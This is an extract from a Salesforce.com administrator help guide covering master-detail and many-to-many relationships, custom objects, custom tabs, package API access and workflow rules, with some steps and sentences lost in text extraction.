To create multilevel master-detail relationships, you need the "Customize Application" user permission.
When you define a master-detail relationship, the custom object on which you are working is the “detail” side. Its data
can appear as a custom related list on page layouts for the other object.
If a custom object is detail or subdetail component a master-detail relationship, it cannot also be the master of a different
master-detail relationship.
You can have up to three custom detail levels.
Standard objects cannot be on the detail side of a custom object in a master-detail relationship.
An object can appear once in multilevel master-detail relationships. For example, a subdetail object in one multilevel
master-detail relationship cannot also be the owner of the master object in another multilevel master-detail relationship.
A subdetail object cannot also be the master object of the subdetail object's detail object.
You cannot create a master-detail relationship if the custom object already contains data. You can, however, create the
relationship as a lookup and then convert it to master-detail if the lookup field in all records contains a value.
Converting relationships from lookup to master-detail, or from master-detail to lookup behaves the same as for two-object
master-detail relationships. That is, the two linked objects in the detail-subdetail1, or subdetail1-subdetail2 relationship
have the same conversion limits as the master-detail relationship.
1380
Create Overview of Relationships
Roll-up summary fields work as in two-object master-detail relationships. A master can roll up fields on detail records;
however, it cannot directly roll up fields on subdetail records. To achieve this, the detail record must have a roll-up
summary field for the field on the subdetail record, allowing the master to roll up from the detail's roll-up summary field.
You can use multilevel master-detail relationships in custom report types. The Allow Reports checkbox must be
checked when you create the custom object. Custom report types created for multilevel master-detail relationships count
towards the organizations custom report type limit and no reports are generated if this limit is exceeded. See Salesforce.com
Editions and Limits on page 1584.
Custom junction objects on page 1377, cannot have detail objects. That is, a custom junction object cannot become the
master object in a multilevel master-detail relationship.
When you delete a custom object that is on the detail side of a master-detail relationship, the relationship is converted
to a lookup relationship. If you restore the custom object, you must manually convert it to a master-detail. See Changing
Custom Field Type on page 986.
You cannot delete a custom object if it is on the master side of a master-detail relationship.
Undeleting the master record also undeletes detail and subdetail records.
Many-to-Many Relationships
Junction object records are deleted when either associated master record is deleted and placed in the Recycle Bin. If both
associated master records are deleted, the junction object record is deleted permanently and cannot be restored.
Sharing access to a junction object record is determined by a user's sharing access to both associated master records and
the Sharing Setting option on the relationship field. See Custom Object Security on page 1390. For example, if the
sharing setting on both parents is Read/Write, then the user must have Read/Write access to both parents in order to
have Read/Write access to the junction object. If, on the other hand, the sharing setting on both masters is Read-Only,
a user with Read-Only rights on the master records would have Read/Write access to the junction object.
You can create workflow rules and approval processes on junction objects; however, you cannot create outbound messages
on junction objects.
In a many-to-many relationship, a user cannot delete a parent record if there are more than 200 junction object records
associated with it and if the junction object has a roll-up summary field that rolls up to the other parent. To delete this
object, manually delete junction object records until the count is fewer than 200.
The first master-detail relationship you create on your junction object becomes the primary relationship. This affects
the following for the junction object records:
• Look and feel: The junction object's detail and edit pages use the color and any associated icon of the primary master
object.
• Record ownership: The junction object records inherit the value of the Owner field from their associated primary
master record. Because objects on the detail side of a relationship do not have a visible Owner field, this is only
relevant if you later delete both master-detail relationships on your junction object.
• Division: If your organization uses divisions to segment data, the junction object records inherit their division from
their associated primary master record. Similar to the record ownership, this is only relevant if you later delete both
master-detail relationships.
The second master-detail relationship you create on your junction object becomes the secondary relationship. If you delete
the primary master-detail relationship or convert it to a lookup relationship, the secondary master object becomes primary.
Roll-up summary fields that summarize data from the junction object can be created on both master objects.
1381
Create Overview of Relationships
Formula fields and validation rules on the junction object can reference fields on both master objects.
You can define Apex triggers on both master objects and the junction object.
A junction object cannot be on the master side of another master-detail relationship.
You cannot create a many-to-many self relationship, that is, the two master-detail relationships on the junction object
cannot have the same master object.
• Lookup relationships allow data from the two related objects to be joined in one report.
• Master-detail relationships allow data from three objects to be joined in one report: the master object, the detail
object, plus one other lookup object. If the detail object has multiple lookup relationships, a separate report type is
available based on each lookup.
• Many-to-many relationships provide two standard report types that join the master objects and the junction object.
The report types are:
- “Primary master with junction object and secondary master” in the primary master object's report category
- “Secondary master with junction object and primary master” in the secondary master object's report category
The order of the master objects in the report type is important. The master object listed first determines the scope
of records that can be displayed in the report.
The reporting impact of each relationship type is summarized in the following table:
1382
Create Customizing Custom Objects
Custom report typesgive you more flexibility to join data from multiple objects, including lookups as well as master-detail
relationships.
Important: Converting a relationship from lookup to master-detail or vice versa can cause existing custom
reports to become unusable due to the different standard report types available for each type of relationship.
We recommend that you test your custom reports immediately after converting the relationship type. If you
revert your relationship back to the original type, the reports are restored and become usable again.
See Also:
Overview of Relationships
Creating a Many-to-Many Relationship
1383
Create Customizing Custom Objects
Custom object fields store the data for your custom object records.
Custom Fields for Custom Objects
You can create custom fields to store information unique to your organization; see Creating Custom Fields on page 812.
You can also create custom relationship fields to associate your custom object with another object in Salesforce.com. For
more information about relationships, see Overview of Relationships on page 1375.
Field Description
Created By User who created the record.
Currency Currency of the record if multicurrency is enabled.
Division Division to which the custom object record belongs. Custom
objects that are “detail” objects in a master-detail relationship
inherit their division from the master object. Custom objects
that are not related to other records are automatically in the
global division. Available only in organizations that use
divisions to segment their data.
Last Modified By User who most recently changed the record.
Name Identifier for the custom object record. This name appears in
page layouts, related lists, lookup dialogs, search results, and
key lists on tab home pages. By default, this field is added to
the custom object page layout as a required field.
Owner Assigned owner of the custom object record. If the custom
object becomes the detail side of a master-detail relationship,
this field is removed, as ownership of the data is controlled by
the master object, or by the primary master object for a custom
object with two master-detail relationships.
Note: Custom objects on the “detail” side of a
master-detail relationship cannot have sharing rules,
1384
Create Customizing Custom Objects
Field Description
manual sharing, or queues, as these require the Owner
field.
See Also:
Customizing Custom Objects
Overview of Relationships
Page layouts define which fields users can view and edit when entering data for a custom object record. You can use the default
page layout that is created automatically when you create a custom object. You can also build your own page layout with related
lists and custom links. If you do not use any page layout with your custom object, you can still interact with it by using the
Force.com API to manage custom data or build a custom user interface.
To define a page layout for a custom object:
See Also:
What is a Custom Object?
Customizing Page Layouts
Customizing Custom Objects
1385
Create Customizing Custom Objects
You can customize which custom object fields display for users in search results, in lookup dialogs, and in the key lists on
custom tab home pages. You can specify a different set of fields to show in each search layout. The settings apply to all users
in your organization.
Additionally, customize which buttons display in custom list views and search results. You can hide a standard list view button
or display a custom button. Standard buttons are not available on search result layouts. To display a custom button, create the
custom button and give it a “List Button” Display Type.
4. Use the arrows to add or remove fields from the search layout, and to define the order in which the fields should display.
5. Use the arrows to add or remove custom buttons from the layout, and to define the order in which the buttons should
display. To select more than one item, use CTRL+click or SHIFT+click to select multiple items in a range.
• Select one or more items in the available list and click Add to add them to the layout.
• Select one or more items in the selected list and click Remove to remove them from the layout.
• Select one or more items in the selected list and click Up to move them higher in the list.
• Select one or more items in the selected list and click Down to move them lower in the list.
6. Click Save.
For more details about search layouts, see Notes on Search Layouts on page 1044.
See Also:
Customizing Search Layouts
Customizing Custom Objects
1386
Create Customizing Custom Objects
Create record types for a custom object to display different picklist values and page layouts to different users based on their
profiles. For more information about record types, see Managing Record Types on page 1004.
• To apply a single page layout for all profiles, select Apply one layout to all profiles and choose the page
layout from the drop-down list.
• To apply different page layouts based on user profiles, select Apply a different layout for each profile
and choose a page layout for each profile.
12. Click Save to edit the values of the standard and custom picklists available for the record type, or click Save and New to
create another record type.
See Also:
Customizing Custom Objects
1387
Create Deleting Custom Objects
1388
Create Managing Deleted Custom Objects
• You cannot delete a custom object if it is on the master side of a master-detail relationship. When you delete a custom
object that is on the detail side of a master-detail relationship, the relationship is converted to a lookup relationship. If you
restore the custom object, you must manually convert it to a master-detail. See Changing Custom Field Type on page
986.
• You cannot delete a custom object if it is a target object in an analytic snapshot.
• You cannot delete a custom object that contains custom fields that are used in a roll-up summary field for another object.
• Page layouts on a custom object are deleted and restored with it. However, custom object data can also exist on page layouts
for other objects in the form of related lists. These related lists remain until you edit the page layout, at which time
Salesforce.com permanently removes any items relating to the deleted custom object.
• You cannot delete a custom object if it is referenced in:
- An Apex script
- A Visualforce page
- An analytic snapshot
See Also:
Managing Deleted Custom Objects
When you delete a custom object, Salesforce.com does not list it in the Recycle Bin with other deleted records. Instead, deleted
objects appear in the Deleted Custom Objects list for 45 days. During this time you can restore an object and the data stored
in it, or permanently erase the object and its data. After 45 days, the object and its data are permanently erased. If a user clicks
a bookmark to a deleted custom object record's URL, Salesforce.com displays an Insufficient Privileges message.
Until permanently erased, the custom object and its data still count against the maximum number of items allowed in your
organization.
To view a list of your deleted custom objects:
1389
Create Custom Object Security
- The developer name was changed to objectname_del. Edit the object to change the developer name.
- The custom object's Deployment Status field was set to In Development. When all changes impacted by the
delete have been restored, edit the object to change the status to Deployed.
- Add the custom object to any appropriate Force.com AppExchange packages. Salesforce.com automatically removes
deleted custom objects from packages that contain them.
- Recreate any custom tabs and list views for the custom object and add the custom tab to any custom apps as required.
- Rebuild any workflow rules on the object.
- Reactivate any custom validation rules for the object.
- Reactivate any approval processes for the object.
- Open and save any custom formula fields on the custom object to enable them.
- On the page layouts of other objects, add the custom object related list, button, or link to any page layouts that have
been edited while the object is deleted. Related lists, buttons, or links to this object are automatically restored if the
page layout is not edited while the object is deleted.
- For custom report types where the object is not the main object, add the reference to the custom object back to the
custom report types. Reports based on the custom report type are automatically restored if not edited while the
object is deleted. Recreate any reports that have been edited.
- If the deleted custom object is on the detail side of a master-detail relationship:
- Master-detail fields are converted to lookup fields when the object is deleted. Change the field types back to
master-detail.
- Reports based on the object are not restorable. Where appropriate, recreate the reports.
Note: It may take several hours before you can search for records in the object.
See Also:
Deleting Custom Objects
Many different security settings work together so you can control access to your custom objects with great flexibility. Set
custom object security at the following different levels:
• Tab—display the custom tab for the appropriate users based on their user profiles.
• Object—set the access users have to create, read, edit, and delete records for each object.
1390
Create Custom Object Security
• Records—set the default sharing model for all your users. This determines the access users have to custom object records
that they do not own.
• Relationship—for objects on the detail side of a master-detail relationship, specify the sharing access that users must have
to the master record in order to create, edit, or delete the associated detail records. This is specified in the Sharing
Setting attribute of the master-detail relationship field on the detail object.
• Fields—set the level of access users have to fields on your custom object page layout.
The following requirements apply to custom objects that have a master-detail relationship with a standard or custom object:
1391
Create Managing API and Dynamic Apex Access in Packages
Delegated administrators can manage nearly every aspect of specified custom objects, but they cannot create or modify
relationships on the object or set organization-wide sharing defaults.
See Also:
Setting Field-Level Security
Administrative and General Permissions on Profiles
Object Permissions on Profiles
Setting Your Organization-Wide Sharing Model
Defining Custom Objects
API Access is a package setting that controls the dynamic Apex and API access that s-controls and other package components
have to standard and custom objects. The setting displays for both the developer and installer on the package detail page. With
this setting:
• The developer of an AppExchange package can restrict API access for a package before uploading it to Force.com
AppExchange. Once restricted, the package components receive Apex and API sessions that are restricted to the custom
objects in the package. The developer can also enable access to specific standard objects, and any custom objects in other
packages that this package depends on.
• The installer of a package can accept or reject package access privileges when installing the package to his or her organization.
• After installation, an administrator can change Apex and API access for a package at any time. The installer can also enable
access on additional objects such as custom objects created in the installer’s organization or objects installed by unrelated
packages.
1392
Create Managing API and Dynamic Apex Access in Packages
Enable Restrictions
This option is available only if the current setting is Unrestricted. Select this option if you want to specify the
dynamic Apex and API access that package components have to standard objects in the installer's organization. When
you select this option, the Extended Object Permissions list is displayed. Select the Read, Create, Edit, or Delete
checkboxes to enable access for each object in the list. This selection is disabled in some situations. Click Save when
finished. For more information about choosing the Restricted option, including information about when it is
disabled, see Considerations for API and Dynamic Apex Access in Packages on page 1700.
Disable Restrictions
This option is available only if the current setting is Restricted. Select this option if you do not want to restrict
the Apex and API access privileges that the components in the package have to standard and custom objects. This
option gives all the components in the package the same API access as the user who is logged in. For example, if a
user can access accounts, an Apex class in the package that accesses accounts would succeed when triggered by that
user.
Restricted
Click this link if you have already restricted API access and wish to edit the restrictions.
Accepting or Rejecting API and Dynamic Apex Access Privileges During Installation
To accept or reject the API and dynamic Apex access privileges for a package you are installing:
• Start the installation process on Force.com AppExchange. For more information, see Installing a Package on page 1692.
• In Approve API Access, either accept by clicking Next, or reject by clicking Cancel. Complete the installation steps if
you have not cancelled.
Disable Restrictions
This option is available only if the current setting is Restricted. Select this option if you do not want to restrict
the Apex and API access privileges that the components in the package have to standard and custom objects. This
option gives all the components in the package the same API access as the user who is logged in. For example, if a
user can access accounts, an Apex class in the package that accesses accounts would succeed when triggered by that
user.
1393
Create What is a Custom Tab?
Restricted
Click this link if you have already restricted API access and wish to edit the restrictions.
A custom tab is a user interface component you create to display custom object data or other web content embedded in the
application.
The following types of custom tabs are available:
• Custom Object Tabs display the data of your custom object in a user interface tab. Custom object tabs look and function
just like standard tabs. See Creating Custom Object Tabs on page 1395.
• Custom Web Tabs display any external Web-based application or Web page in a Salesforce.com tab. You can design Web
tabs to include the sidebar or span across the entire page without the sidebar. See Creating Web Tabs on page 1397.
• Apex Page Tabs display data from a Visualforce page. Visualforce page tabs look and function just like standard tabs. See
Creating Visualforce Tabs on page 1611.
See Also:
Defining Custom Apps
What is an App?
Defining Object-Level Help
Custom tabs display custom object data or other web content embedded in the application. For the total number of custom
tabs you can create, see Salesforce.com Editions and Limits on page 1584.
• Custom Object Tabs - Create a tab for your custom object data. See Creating Custom Object Tabs on page 1395.
• Web Tabs - Create a tab to display other web content. See Creating Web Tabs on page 1397.
1394
Create Defining Custom Tabs
• Apex Page Tabs - Create a tab that displays a Visualforce page. See Creating Visualforce Tabs on page 1611.
Delegated administrators who can manage specified custom objects can also create and customize tabs for those custom objects.
See Delegating Administrative Duties on page 581.
See Also:
What is a Custom Tab?
Define a new tab to display the data stored in your custom object records.
a. Click the Color lookup icon to display the color selection dialog and click a color to select it.
b. Click Insert an Image, select the document folder, and select the image you want to use.
Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes
your search term.
Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available
checkbox selected in the document property settings. For more information, see uploading images and document
1395
Create Defining Custom Tabs
property settings. If the document used for the icon is later deleted, Salesforce.com replaces it with a default
c. Select a file and click OK. The New Custom Tab wizard reappears.
6. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. For details about
creating a custom link to use as a splash page for your custom tab, see Defining Custom Buttons and Links on page 990.
7. Enter a description of the tab, if desired, and click Next.
8. Choose the user profiles for which the new custom tab will be available:
• Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down
list.
• Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab
Hidden from the drop-down list for each profile.
For Professional Edition users and Salesforce Platform One license users, tab visibility is automatically set to Default On.
9. Specify Tab Visibility.
For Enterprise, Unlimited, Developer Edition, and organizations, choose Default On, Default Off, or Tab Hidden in Tab
Visibility to determine whether the custom tab is visible to users with that profile, and click Next. For Professional
Edition organizations, tab visibility is automatically set to Default On. Salesforce Platform One license users, tab visibility
is automatically set to Default On.
If you choose Default On or Default Off, an option is added to the Create New drop-down list in the sidebar so that
users with the “Create” permission can quickly create a new record. For example, if the custom object displayed in the
custom tab is named Expenses, an Expense option appears in this list.
10. Specify the custom apps that should include the new tab. See What is an App? on page 1361 for information on custom
apps.
11. Check Append tab to users' existing personal customizations to add the new tab to your users’ customized
display settings if they have customized their personal display.
12. Click Save.
• Define the page layout for records displayed in the tab. The page layout controls which fields are visible and editable when
users are entering data in the custom tab. For details, see Building Page Layouts for Custom Objects on page 1385.
• Specify which fields display to users in the key lists section of the custom object tab home page. For details, see Customizing
Search Layouts for Custom Objects on page 1386.
See Also:
Creating Custom Object Tabs
1396
Create Defining Custom Tabs
Build web tabs so that your users can use your web applications or other websites from within the application.
1. Click Setup ➤ Create ➤ Tabs.
2. Click New in the Web Tabs related list.
3. Choose a layout for the new tab. The full page width spans across the entire page without the sidebar while the column
style allows users to view the sidebar.
4. Click Next.
5. Choose URL for tab type. Choose Custom S-Control if you have previously created a custom s-control that you want
displayed in the web tab. See Defining Custom S-Controls on page 1622.
6. Enter a label to display on the tab.
7. Click the Tab Style lookup icon to display the Tab Style Selector.
If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over
the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter
this list.
8. Click a tab style to select the color scheme and icon for the custom tab.
Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your
organization has access to the Documents tab. To create your own tab style:
a. Click the Color lookup icon to display the color selection dialog and click a color to select it.
b. Click Insert an Image, select the document folder, and select the image you want to use.
Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes
your search term.
Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available
checkbox selected in the document property settings. For more information, see uploading images and document
property settings. If the document used for the icon is later deleted, Salesforce.com replaces it with a default
c. Select a file and click OK. The New Custom Tab wizard reappears.
1397
Create Managing Custom Tabs
Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. See Managing Mobile Tabs
on page 756 for information on how to mobilize tabs. Review the considerations for ensuring that the pages in your web
tabs are compatible with mobile browsers before mobilizing a web tab.
Note that the Mobile Ready checkbox is only visible if Salesforce Mobile is enabled for your organization.
11. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. See Defining
Custom Buttons and Links on page 990 for information about creating a custom link to use as a splash page for your custom
tab. Note that splash pages do not display in the mobile application. Avoid using a splash page if you plan to mobilize the
web tab.
12. Enter a description of the tab, if desired, and click Next.
13. Enter the URL or choose the custom s-control that you want to display in the tab. Optionally, copy and paste any merge
fields for data that you want replaced in the link dynamically.
Remember to include the http:// before your URL. User, organization, and API merge fields are available for web tabs.
For details about using merge fields, see Merge Fields Overview on page 414.
Optionally, click the preview link to display your web tab.
14. For a URL, choose an encoding setting and click Next.
15. Add the web tab to the appropriate profiles. In Tab Visibility, choose Default On, Default Off, or Tab Hidden to
determine whether the custom tab is visible to users with that profile. The administrator can change this setting later.
16. Check Append tab to users' existing personal customizations to apply the tab visibility settings to all
users.
17. Specify the custom apps that should include the new tab. See What is an App? on page 1361 for information on custom
apps.
18. Click Save.
After creating your custom tabs, you can edit or delete them. Click Setup ➤ Create ➤ Tabs to display a list of your
organization’s custom tabs, web tabs, and Visualforce tabs. Use this page to view, create, edit, or delete custom tabs.
• To view details for a custom tab, click the custom tab name.
• To change the properties of a custom tab, click Edit, make the appropriate changes, and click Save. Before changing the
Splash Page Custom Link, see Defining Home Tab Components on page 1040 for information about creating a custom
link to use as a splash page for your custom tab.
• To remove a custom tab, click Del.
1398
Create Managing Workflow and Approvals
• To create a new custom tab, click New. See Creating Custom Object Tabs on page 1395, Creating Web Tabs on page 1397,
or Creating Visualforce Tabs on page 1611.
• To share custom tabs with other users on Force.com AppExchange, see Overview of Packages on page 1488.
• To enable Visualforce or web tabs for mobile users, edit the properties of the tabs and select the Mobile Ready checkbox.
See Creating Visualforce Tabs on page 1611 and Creating Web Tabs on page 1397. For more information about customizing
tabs in the mobile application, see Managing Mobile Tabs on page 756.
• To create apps that can be upgraded, see Enabling Managed Packages for Your Organization on page 1493.
Your sales force operates more efficiently with standardized internal procedures and automated business processes. Set up
Salesforce.com to automatically perform these procedures and processes based on your organization’s needs.
Begin by designing workflow rules and approval processes, and associating them with workflow actions, such as email alerts,
tasks, field updates, or outbound messages.
Terminology
Workflow Rule
A workflow rule sets workflow actions into motion when its designated conditions are met. You can configure workflow
actions to execute immediately when a record meets the conditions in your workflow rule, or set time triggers that execute
the workflow actions on a specific day. If a workflow action has not executed yet, you can view and modify it in the
Workflow Queue. See Managing Workflow Rules to get started using workflow rules. For a list of the maximum number
of rules allowed in each organization, see Salesforce.com Editions and Limits.
Approval Process
An approval process is an automated process your organization can use to approve records in Salesforce.com. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply
to all records included in the process, or just records that have certain attributes. An approval process also specifies the
actions to take when a record is approved, rejected, recalled, or first submitted for approval. See Managing Approval
Processes to get started using approval processes.
Email Alert
Email alerts are workflow and approval actions that are generated using an email template by a workflow rule or approval
process and sent to designated recipients, either Salesforce.com users or others. See Managing Email Alerts to get started
using email alerts.
1399
Create Managing Workflow Rules
Field Update
Field updates are workflow and approval actions that specify the field you want updated and the new value for it.
Depending on the type of field, you can choose to apply a specific value, make the value blank, or calculate a value based
on a formula you create. See Managing Field Updates to get started using field updates.
Task
Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task.
Tasks are workflow and approval actions that are triggered by workflow rules or approval processes. See Managing Tasks
for Workflow and Approvals to get started using tasks.
Outbound Message
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint
you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a
SOAP message to the endpoint. See Managing Outbound Messages to get started using outbound messages.
See Also:
Creating Email Alerts for Workflow, Approvals, or Milestones
Creating Tasks for Workflow, Approvals, or Milestones
Defining Field Updates
Defining Outbound Messages
Creating Workflow Rules
Examples of Workflow Rules
Customizing Workflow and Approval Settings
Administrator tip sheet: Workflow: Automating The Process
Differences Between Auto-Response Rules and Workflow Alerts
Creating Approval Processes
• Email Alerts—Send an email to one or more recipients. For example, automatically send sales management an email alert
when a sales representative qualifies a large deal.
• Tasks—Assign a new task to a user, role, or record owner. For example, automatically assign follow-up tasks to a support
representative one week after a case is updated.
1400
Create Managing Workflow Rules
• Field Updates—Update the value of a field on a record. For example, automatically change the Owner field on a contract
three days before it expires.
• Outbound Messages—Send a secure configurable API message (in XML format) to a designated listener. For example,
automatically initiate the reimbursement process for an approved expense report by triggering an outbound API message
to an external HR system.
Configure your organization’s workflow by creating workflow rules. Each workflow rule consists of:
• Criteria that determine when Salesforce.com executes the workflow rule. Any change that causes a record to match this
criteria can trigger the workflow rule—even changes to hidden fields.
• Immediate actions to take when the workflow rule executes. For example, Salesforce.com can automatically send an email
that notifies the sales team when a new high-value opportunity is created.
• Time-dependent actions that Salesforce.com queues when the workflow rule executes. For example, Salesforce.com can
automatically send an email reminder to the account team if a high-value opportunity is still open ten days before the
specified close date. When Salesforce.com triggers a workflow rule that has time-dependent actions, you can use the
workflow queue to monitor and cancel pending actions.
If you plan on configuring workflow rules that have time-dependent actions, specify a default workflow user. Salesforce.com
associates the default workflow user with a workflow rule if the user who initiated the rule is no longer active.
To get started using workflow rules, click Setup ➤ Create ➤ Workflow & Approvals ➤ Workflow Rules. From this page,
you can:
• Click Activate to set a rule into action. Click Deactivate to prevent the rule from firing when its conditions are met. Note
the following:
- You can deactivate a workflow rule at any time. However, if you deactivate a rule that has pending actions, Salesforce.com
completes those actions as long as the record that triggered the rule is not updated.
- You cannot add time-dependent workflow actions to active workflow rules. Deactivate the workflow rule first, add the
time-dependent workflow action, and reactivate the rule.
1401
Create Managing Workflow Rules
Tip: You can use the System Log console to debug workflow rules. The System Log console lets you view debug log
details and information about workflow rules and actions , such as the name of the user who triggered the workflow
rule and the name and ID of the record being evaluated.
See Also:
Creating Workflow Rules
Notes on Using Workflow Rules
Examples of Workflow Rules
Managing Workflow and Approvals
Managing Email Alerts
Managing Tasks for Workflow and Approvals
Managing Field Updates
Defining Outbound Messages
Differences Between Auto-Response Rules and Workflow Alerts
• Email Alerts—Send an email to one or more recipients. For example, automatically send sales management an email alert
when a sales representative qualifies a large deal.
• Tasks—Assign a new task to a user, role, or record owner. For example, automatically assign follow-up tasks to a support
representative one week after a case is updated.
• Field Updates—Update the value of a field on a record. For example, automatically change the Owner field on a contract
three days before it expires.
• Outbound Messages—Send a secure configurable API message (in XML format) to a designated listener. For example,
automatically initiate the reimbursement process for an approved expense report by triggering an outbound API message
to an external HR system.
1402
Create Managing Workflow Rules
• If you have a workflow action that updates a field on a related object, that target object is not the one associated
with the workflow rule.
• To create workflow rules based on new case comments or incoming email messages that automatically update
fields on their associated cases, choose either Case Comment or Email Message. See Notes on Using Workflow
Rules for more information.
• To create a site usage rule, choose either Organization (for monthly page views allowed and monthly page
views used fields) or Site (for site detail, daily bandwidth and request time, monthly page views allowed, and
other fields). These objects are only available if Force.com sites are enabled for your organization.
• You cannot create email alerts for workflow rules on activities.
4. Click Next.
• When a record is created, or when a record is edited and did not previously meet the
rule criteria: Choose this option to include new records and updates to existing records, unless the rule just ran
and still meets the rule criteria. The rule is not re-triggered on edits that do not affect rule criteria. For example, if
setting an opportunity rating to “Hot” causes the rule to run, with this option, the rule will run again only if the rating
changes, then changes back to “Hot”—no matter how many times you edit the object.
• Only when a record is created: Choose this option to ignore updates to existing records.
• Every time a record is created or edited: Choose this option to include new records and updates to
existing records and repeatedly trigger the rule, even if the record still meets the criteria. You cannot add time-dependent
actions to the rule if you choose Every time a record is created or edited.
Note: You can't add time-dependent actions to a rule if you choose Every time a record is created
or edited.
• Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set
the filter to “Opportunity: Amount greater than 5000” if you want opportunity records with an amount greater than
1403
Create Managing Workflow Rules
$5,000 to trigger the rule. If your organization uses multiple languages, enter filter values in your organization's default
language. You can click the Advanced Options... link to add up to 25 filter criteria, up to 255 characters.
• Choose formula evaluates to true and enter a formula that returns a value of “True” or “False.” Salesforce.com
triggers the rule if the formula returns “True.” Examples of useful workflow formulas include:
- If the number of filled positions equals the number of total positions on a job, update the Job Status field to
“Filled.”
- If mileage expenses associated with visiting a customer site are 35 cents per mile and exceed a $1,000 limit,
automatically update the Approval Required field to “Required.”
- If a monthly subscription-based opportunity amount is greater than $10,000, create a task for an opportunity owner
to follow up 60 days after the opportunity is closed.
Some functions on page 931 are not available in workflow rule formulas. You cannot create a formula in which a custom
object references fields on a parent object.
Tip: You can use merge fields for directly related objects in workflow rule formulas. For more information,
see Merge Fields Overview.
• To add an immediate workflow action, click Add Workflow Action in the Immediate Workflow Actions section and
select:
• To add a time-dependent workflow action, click Add Time Trigger in the Time-Dependent Workflow Actions section
and:
a. Specify a number of days or hours before or after a date relevant to the record, such as the date the record was
created or modified. If the workflow rule is in effect when this time occurs, the time trigger fires the workflow
action.
b. Click Save.
1404
Create Managing Workflow Rules
Note: For standard objects, workflow rules can only perform field updates on the object related to the rule. The
exceptions are that both Case Comments and Email Messages can perform cross-object field updates on Cases. For
all custom objects, however, you can create workflow actions where a change to a detail record updates a field on the
related master record. Cross-object field updates only work for custom-to-custom master-detail relationships. For
example, in a custom recruiting application, create a workflow rule that sets the status of an application (the master
object) to “Closed” when a candidate (the detail object) accepts the job. Or, for standard objects, create a rule to change
the status of a case from “Awaiting Customer Response“ to “In Progress” when a customer adds a case comment.
The cross-object field update function may depend on certain critical updates being active. Click Setup ➤ Critical
Updates to see if your organization requires any updates.
• Each workflow rule applies to a single object, such as leads, accounts, or opportunities. For the maximum number of
workflow rules allowed on an object, see Salesforce.com Editions and Limits on page 1584.
• For standard objects, workflow rules can only perform field updates on the object related to the rule. The exceptions are
that both Case Comments and Email Messages can perform cross-object field updates on Cases. For all custom objects,
however, you can create workflow actions where a change to a detail record updates a field on the related master record.
Cross-object field updates only work for custom-to-custom master-detail relationships. For example, in a custom recruiting
application, create a workflow rule that sets the status of an application (the master object) to “Closed” when a candidate
1405
Create Managing Workflow Rules
(the detail object) accepts the job. Or, for standard objects, create a rule to change the status of a case from “Awaiting
Customer Response“ to “In Progress” when a customer adds a case comment.
• The cross-object field update function may depend on certain critical updates being active. Click Setup ➤ Critical Updates
to see if your organization requires any updates.
• Workflow rules can't be triggered by campaign statistic fields, including individual campaign statistics and campaign
hierarchy statistics. For a list of campaign fields that cannot trigger workflow rules, see Campaign Fields on page 2041.
• Workflow rules can be triggered any time a record is saved or created, depending on your rule criteria. However, rules
created after saving records aren't triggered by those records retroactively.
• Workflow rules are triggered when a standard object in a master-detail relationship is re-parented, even if the object's
evaluation criteria is set to When a record is created, or when a record is edited and did not
previously meet the rule criteria.
• Workflow rules only trigger on converted leads if validation and triggers for lead convert are enabled in your organization.
• Workflow rules on custom objects are automatically deleted if the custom object is deleted.
• You can't package workflow rules with time triggers.
• Workflow rules trigger automatically and are invisible to the user. Alternatively, approval processes allow users to submit
records for approval.
• The order in which actions are executed is not guaranteed. Field update actions are executed first, followed by other actions.
• You can't create email alerts for workflow rules on activities.
• You can't create outbound messages for workflow rules on junction objects.
• To create workflow rules that update case fields based on new case comments or incoming email messages, choose Case
Comment or Email Message from the Select Object drop-down list; Email Message is only available if Email-to-Case
or On-Demand Email-to-Case is enabled. You can only create email message workflow rules for field updates, and case
comment workflow rules for field updates, email alerts, and outbound messages. For example, you can create a workflow
rule so that an email marked as Is Incoming changes its case's Status from Closed to New.
• Saving or creating records can trigger more than one rule.
• The following actions don't trigger workflow rules:
• Changes you make to records while using Connect Offline are evaluated by workflow rules when you synchronize.
• Salesforce.com processes any rules in the following order:
1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules
• If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run any Apex
triggers, validation rules, workflow rules, or roll-up summary fields.
Tip: You can use the System Log console to debug workflow rules. The System Log console lets you view debug log
details and information about workflow rules and actions , such as the name of the user who triggered the workflow
rule and the name and ID of the record being evaluated.
1406
Create Managing Workflow Actions
1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Workflow Rules to access the workflow rules list page.
2. Click the name of the rule with the workflow actions you want to edit.
3. Click Edit in the Workflow Actions section.
4. Manage your workflow actions as follows:
• Click Edit next to any workflow action or time trigger to modify it.
• Click Remove next to any workflow action to remove it from the rule. This disassociates the workflow action from the
workflow rule but does not delete the workflow action.
• Click Delete next to any time trigger to remove it from the rule. This deletes the time trigger and removes its associated
actions from the workflow rule but does not delete the workflow actions. The workflow actions are still available when
you click Add Workflow Action and choose the Select Existing Action option.
• Click Add Workflow Action in the Immediate Workflow Actions section to add an immediate workflow action to
the workflow rule.
• Click Add Time Trigger to add a time trigger to the workflow rule.
• Click Add Workflow Action next to a time trigger to add time-dependent workflow actions to the time trigger.
5. Click Done.
See Also:
Managing Workflow Rules
Creating Workflow Rules
Time-Dependent Action and Time Trigger Considerations
Selecting Existing Actions
1407
Create Time-Dependent Action and Time Trigger Considerations
When creating time-dependent actions and time triggers for workflow rules, consider the following:
1408
Create Time-Dependent Action and Time Trigger Considerations
criteria. Using the previous example, if the opportunity status is changed from Closed Lost to Prospecting and the
